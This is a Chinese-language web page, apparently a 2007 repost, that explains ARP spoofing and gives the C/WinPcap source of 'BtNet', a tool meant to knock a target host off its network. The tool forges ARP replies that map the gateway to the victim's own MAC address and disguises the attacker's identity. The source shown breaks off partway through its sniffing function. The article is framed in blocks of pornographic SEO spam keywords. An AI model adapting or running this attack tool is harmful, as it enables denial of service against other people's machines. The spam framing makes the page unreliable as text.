国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

基于ARP欺騙的網絡攻擊程序源碼
2007-10-11   51CTO.com

最近開始學WINPCAP,看了很多高手寫的基于arp欺騙的抓包工具,尤其是電子科大的TOo2y師兄的《詳談調用winpcap驅動寫arp多功能工具》,令我收益非淺。下面是我把這個思想改成arp攻擊程序(可令目標主機斷開網絡連接)的一些測試。高手請略過,以免有班門弄斧之閑。

一般的arp spoof是向被欺騙主機發送ARP REPLY數據報,把其中的源IP地址置為被欺騙主機要發包去的主機地址,源MAC地址卻改為自己的MAC地址。假設有兩臺機器A,B,發送一個ARP REPLY數據報給A,其中源IP地址為B的地址,源MAC地址為我的機器的MAC地址(IPRouter功能打開確保數據被轉發),那么A發送到B的數據報就發到我的機器上了,同樣對B做相同到操作,那么A<==>B之間的數據就會源源不斷的通過我的機器轉發,直到一個正常的ARP包更改了A,B的arp緩存為止。

那么我們把發送給A的arp數據報的源IP,源MAC更改成任意的,會出現什么現象?下面是我的幾個測試

1. 源IP更改為網關IP,源MAC改為不存在的MAC地址

對目標主機幾乎不影響

2. 源IP更改為網關IP,源MAC改為內網內任意一臺存在但沒有開啟IPRouter的主機的MAC地址

幾乎不影響

3. 源IP更改為網關IP,源MAC改為目標主機的MAC

目標主機立刻斷網!

可見當發送經過我們構造的ARP REALY包給目標主機時,會使目標主機的ARP緩存更改,數據封裝到MAC層的時候會把網關的IP和自己的MAC地址封裝到一起,那么發送到網關的數據報只好發給自己了,呵呵。

至于第1種情況,猜想大概是由于MAC地址不存在,目標主機會廣播一個ARP REQUEST包而更新了自己的ARP緩存所致。

至于第2種情況,猜想源MAC地址所屬主機會返回一個ARP REPLY給目標主機。

水平有限,所以只是猜想,知道的請告訴我一聲,先謝過了。

再說一下,以上測試只對于windows系統,當然也測試過對沒有配置好的Red Hat成功過。

測試程序(BtNet.exe)說明:
Usage: BtNet -h attackIP -o gateIP [-m spoofedMAC]
-m參數是你要修改的源MAC地址.

為了隱蔽攻擊者身份,程序再得到目標主機MAC地址時偽裝成IP:128.128.128.128,MAC:a5-a5-a5-a5-a5-a5,可能會得不到目標主機的MAC地址,那么要得到MAC地址請借助第三方工具。

附測試程序代碼

#include "packet32.h" 
#include "ntddndis.h" 
#include 
#include 
#include 
#include 
 
#pragma comment(lib,"ws2_32") 
#pragma comment(lib,"packet") 
 
#define ETH_IP 0x0800 
#define ETH_ARP 0x0806 
#define ARP_REQUEST 0x0001 //arp請求包 
#define ARP_REPLY 0x0002 //arp應答包 
#define ARP_HARDWARE 0x0001 
#define max_num_adapter 10 
 
#pragma pack(push,1) 
 
typedef struct ethdr 
{ 
unsigned char eh_dst[6]; //以太網目的地址 
unsigned char eh_src[6]; //以太網源地址 
unsigned short eh_type; // 
}ETHDR,*PETHDR; 
typedef struct arphdr //arp頭 
{ 
unsigned short arp_hdr; //硬件類型 
unsigned short arp_pro; //協議類型 
unsigned char arp_hln; //硬件地址長度 
unsigned char arp_pln; //協議地址長度 
unsigned short arp_opt; // 
unsigned char arp_sha[6]; //發送端以太網地址 
unsigned long arp_spa; //發送端ip地址 
unsigned char arp_tha[6]; //接收端以太網地址 
unsigned long arp_tpa; //接收端ip地址 
}ARPHDR,*PARPHDR; 
 
typedef struct ip_mac 
{ 
u_long ip; 
unsigned char mac[6]; 
}IP_MAC,*PIP_MAC; 
 
#pragma pack(push) 
 
LPADAPTER lpAdapter; 
char adapterlist[max_num_adapter][1024]; 
IP_MAC toipandmac; 
IP_MAC oipandmac,myipandmac; 
BOOL param6=FALSE; 
char *noMACstr; 
char noMAC[6][3]; 
u_long mytoIP,oIP; 
BOOL sendtoOip; 
MSG msg; 
UINT newtimer; 
char MYIP[20]="128.128.128.128"; 
BOOL toipandmac_flag=FALSE,myipandmac_flag=FALSE,oipandmac_flag=FALSE; 
 
int getint(char c) 
{ 
int t=-1; 
if((c<='9')&&(c>='0')) 
t=c-'0'; 
else if((c>='a')&&(c<='f')) 
t=10+c-'a'; 
else if((c>='A')&&(c<='F')) 
t=10+c-'A'; 
return t; 
} 
 
void start() 
{ 
printf("BtNet //--an ARP Tool test the Windows Break the Internetn"); 
printf("written by Ruder,10/2003n"); 
printf("Homepage: http://xEyes.cdut.net/ruder/index.htm;n"); 
printf("E-mail: cocoruder@163.comn"); 
printf("nUsage: BtNet -h attackIP -o gateIP [-m spoofedMAC]n"); 
printf("Example:n"); 
printf("BtNet -h 202.115.138.12 -o 202.115.138.1n"); 
printf("BtNet -h 202.115.138.12 -o 202.115.138.1 -m 00-50-fc-6a--6b--7cn"); 
printf(" Warning: You must have installed the winpcap_2.3 or
winpcap_3.0_alphan"); return ; } DWORD WINAPI sniff(LPVOID) { LPPACKET lppackets,lpPacketr; char recvbuf[1024*250]; ULONG ulbytesreceived,off; ETHDR *eth; ARPHDR *arp; char *buf,*pChar,*base; char szTemp[20]; struct bpf_hdr *hdr; if((lppackets=PacketAllocatePacket())==FALSE) { printf("PacketAllocatePacket send Error: %dn",GetLastError()); return 0; } if(PacketSetHwFilter(lpAdapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE) { printf("Warning: Unable to set the adapter to promiscuous moden"); } if(PacketSetBuff(lpAdapter,500*1024)==FALSE) { printf("PacketSetBuff Error: %dn",GetLastError()); return 0; } if(PacketSetReadTimeout(lpAdapter,1)==FALSE) { printf("Warning: Unable to set the timeoutn"); } if((lpPacketr=PacketAllocatePacket())==FALSE) { printf("PacketAllocatePacket receive Error: %dn",GetLastError()); return 0; } PacketInitPacket(lpPacketr,(char *)recvbuf,sizeof(recvbuf)); while(!kbhit()) { if(PacketReceivePacket(lpAdapter,lpPacketr,TRUE)==FALSE) { return 0; } //getdata(lppacketr,option); ulbytesreceived=lpPacketr->ulBytesReceived; buf=(char *)lpPacketr->Buffer; off=0; while(off{ if(kbhit()) { return 0; } hdr=(struct bpf_hdr *)(buf+off); off+=hdr->bh_hdrlen; pChar=(char *)(buf+off); base=pChar; off=Packet_WORDALIGN(off+hdr->bh_caplen); eth=(PETHDR)pChar; //以太頭 arp=(PARPHDR)(pChar+sizeof(ETHDR)); //arp頭 int i; if((eth->eh_type==htons(ETH_ARP))&& (arp->arp_opt==htons(ARP_REPLY))) { //if (arp->arp_tpa==htonl(ntohl(inet_addr(MYIP)))) { if(oipandmac_flag&&myipandmac_flag&&toipandmac_flag) return 0; if (((toipandmac.ip==htonl(arp->arp_spa))&&(toipandmac_flag==FALSE)) ||((myipandmac.ip==htonl(arp->arp_spa))&&(myipandmac_flag==FALSE)) ||((oipandmac.ip==htonl(arp->arp_spa))&&(oipandmac_flag==FALSE))) { memset(szTemp,0,sizeof(szTemp)); memcpy(szTemp,&arp->arp_spa,sizeof(arp->arp_spa)); printf("[IP]:"); printf("%s",inet_ntoa(*((struct in_addr *)szTemp))); pr

熱詞搜索:

上一篇:巨頭爭寵統一通信
下一篇:修復注冊表,重連服務器

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
色欧美片视频在线观看| 欧美三级韩国三级日本一级| 91免费观看视频在线| 久久久美女毛片| 成人看片黄a免费看在线| 国产精品美女一区二区三区| 成人激情电影免费在线观看| 中文字幕亚洲精品在线观看| 色拍拍在线精品视频8848| 午夜精品久久一牛影视| 欧美一区二区三区视频在线| 精品无人区卡一卡二卡三乱码免费卡| 久久久国际精品| 91色porny在线视频| 午夜欧美在线一二页| 日韩无一区二区| 成人污污视频在线观看| 亚洲国产cao| 国产午夜精品一区二区三区嫩草 | 丁香啪啪综合成人亚洲小说 | 日韩欧美在线网站| 成人国产精品免费观看视频| 亚洲成人自拍偷拍| 日本一区二区三区在线不卡| 欧美日韩在线不卡| 97精品久久久久中文字幕| 日韩成人免费在线| 亚洲欧美二区三区| 日本一区二区视频在线观看| 日韩视频免费观看高清完整版| 成人激情综合网站| 久久97超碰色| 亚洲午夜国产一区99re久久| 欧美国产一区二区| 精品久久久久久久久久久院品网| 欧美在线不卡视频| 成人精品视频一区二区三区| 久久精品理论片| 亚洲欧美激情小说另类| 欧美极品另类videosde| 精品少妇一区二区三区免费观看| 欧美日韩在线播放三区| 91在线视频官网| 懂色av中文字幕一区二区三区| 美女一区二区视频| 婷婷激情综合网| 亚洲综合激情小说| 成人欧美一区二区三区白人 | 亚洲国产毛片aaaaa无费看| 亚洲色图丝袜美腿| 中文字幕亚洲一区二区av在线| 国产色婷婷亚洲99精品小说| 欧美夫妻性生活| 欧美亚洲尤物久久| 91国在线观看| 欧美三级午夜理伦三级中视频| 色一区在线观看| 色呦呦日韩精品| 欧美在线一二三| 欧美另类一区二区三区| 欧美电影一区二区三区| 日本韩国欧美国产| 欧美日韩一区精品| 日韩三级视频在线观看| 久久综合国产精品| 国产精品私人影院| 一区二区三区欧美日韩| 午夜精品一区在线观看| 麻豆精品国产传媒mv男同| 美女网站色91| 国产原创一区二区三区| 国产成人亚洲综合a∨婷婷图片| 久久99国产精品免费| 国产精品一区二区在线观看网站| 成人手机在线视频| 91女厕偷拍女厕偷拍高清| 欧美在线一区二区三区| 91精品啪在线观看国产60岁| 精品捆绑美女sm三区| 国产精品美女一区二区在线观看| 亚洲精品高清在线观看| 亚洲va国产va欧美va观看| 国产一区二区三区免费| 成人一区二区在线观看| 欧美日韩一区二区三区在线看| 欧美一区二区在线不卡| 国产欧美视频一区二区三区| 一区二区三区成人在线视频| 蜜臀av一区二区三区| 不卡的av网站| 欧美日韩另类一区| 国产欧美日本一区视频| 一区二区三区欧美| 国产大陆a不卡| 欧美午夜在线观看| 国产视频一区二区三区在线观看| 亚洲一区在线播放| 国产一区二区福利| 欧美色欧美亚洲另类二区| 欧美不卡视频一区| 一区二区三区资源| 国产成人自拍在线| 欧美一级片免费看| 亚洲欧美日韩中文字幕一区二区三区| 麻豆国产精品一区二区三区| 色综合久久久久综合| 久久久高清一区二区三区| 婷婷成人激情在线网| 色综合久久久久综合体桃花网| 国产清纯白嫩初高生在线观看91 | 久久天天做天天爱综合色| 一区二区三区日韩欧美| 成人午夜电影网站| 久久久午夜电影| 久久爱www久久做| 欧美一区二区三区视频在线观看| 亚洲国产欧美在线| 欧美日韩一本到| 一区二区三区欧美| 欧美亚洲国产bt| 亚洲另类在线视频| 色综合网站在线| 国产精品高清亚洲| 国产黄色成人av| 国产日韩欧美电影| 粉嫩一区二区三区在线看| 久久综合色一综合色88| 激情综合五月婷婷| 国产亚洲精品bt天堂精选| 韩国v欧美v日本v亚洲v| 欧美不卡一区二区| 国产一区二区三区四| 国产视频在线观看一区二区三区| 国产成人综合精品三级| 国产精品―色哟哟| 成人丝袜高跟foot| 亚洲人亚洲人成电影网站色| 99久久99久久久精品齐齐| 亚洲色图都市小说| 欧美天天综合网| 免费观看一级欧美片| xnxx国产精品| a级精品国产片在线观看| 综合激情成人伊人| 欧美视频在线不卡| 精品亚洲欧美一区| 中文字幕一区av| 欧美老女人在线| 狠狠色狠狠色综合| 1000部国产精品成人观看| 在线精品国精品国产尤物884a| 一二三区精品视频| 欧美一区二区三区视频免费播放| 国产制服丝袜一区| 国产精品不卡在线| 欧美日韩大陆在线| 久草这里只有精品视频| 欧美高清在线视频| 欧美综合在线视频| 精品一区二区免费看| 亚洲蜜桃精久久久久久久| 欧美剧情片在线观看| 黄一区二区三区| 一区二区三区欧美日韩| 欧美videofree性高清杂交| 粉嫩在线一区二区三区视频| 性久久久久久久| 亚洲国产精品成人久久综合一区| 色婷婷精品久久二区二区蜜臂av | 国产精品对白交换视频 | 麻豆久久久久久| 中文字幕一区二区三区精华液 | 国产网红主播福利一区二区| 91免费视频观看| 裸体在线国模精品偷拍| 国产精品进线69影院| 欧美一级视频精品观看| 99在线精品免费| 久久国产精品免费| 夜夜嗨av一区二区三区中文字幕| 欧美zozo另类异族| 色婷婷激情综合| 国产精品一区二区久久精品爱涩| 国产视频在线观看一区二区三区| 制服.丝袜.亚洲.中文.综合| 粉嫩av一区二区三区在线播放 | 亚洲综合视频网| 国产丝袜美腿一区二区三区| 欧美另类高清zo欧美| 色综合久久综合网97色综合| 国产精品一区二区久久不卡 | 日韩黄色免费电影| **性色生活片久久毛片| 久久综合色婷婷| 欧美刺激午夜性久久久久久久| 欧美专区在线观看一区| a在线播放不卡| 成人黄色一级视频| 国产精品一区二区在线播放 | 91精品国产免费久久综合|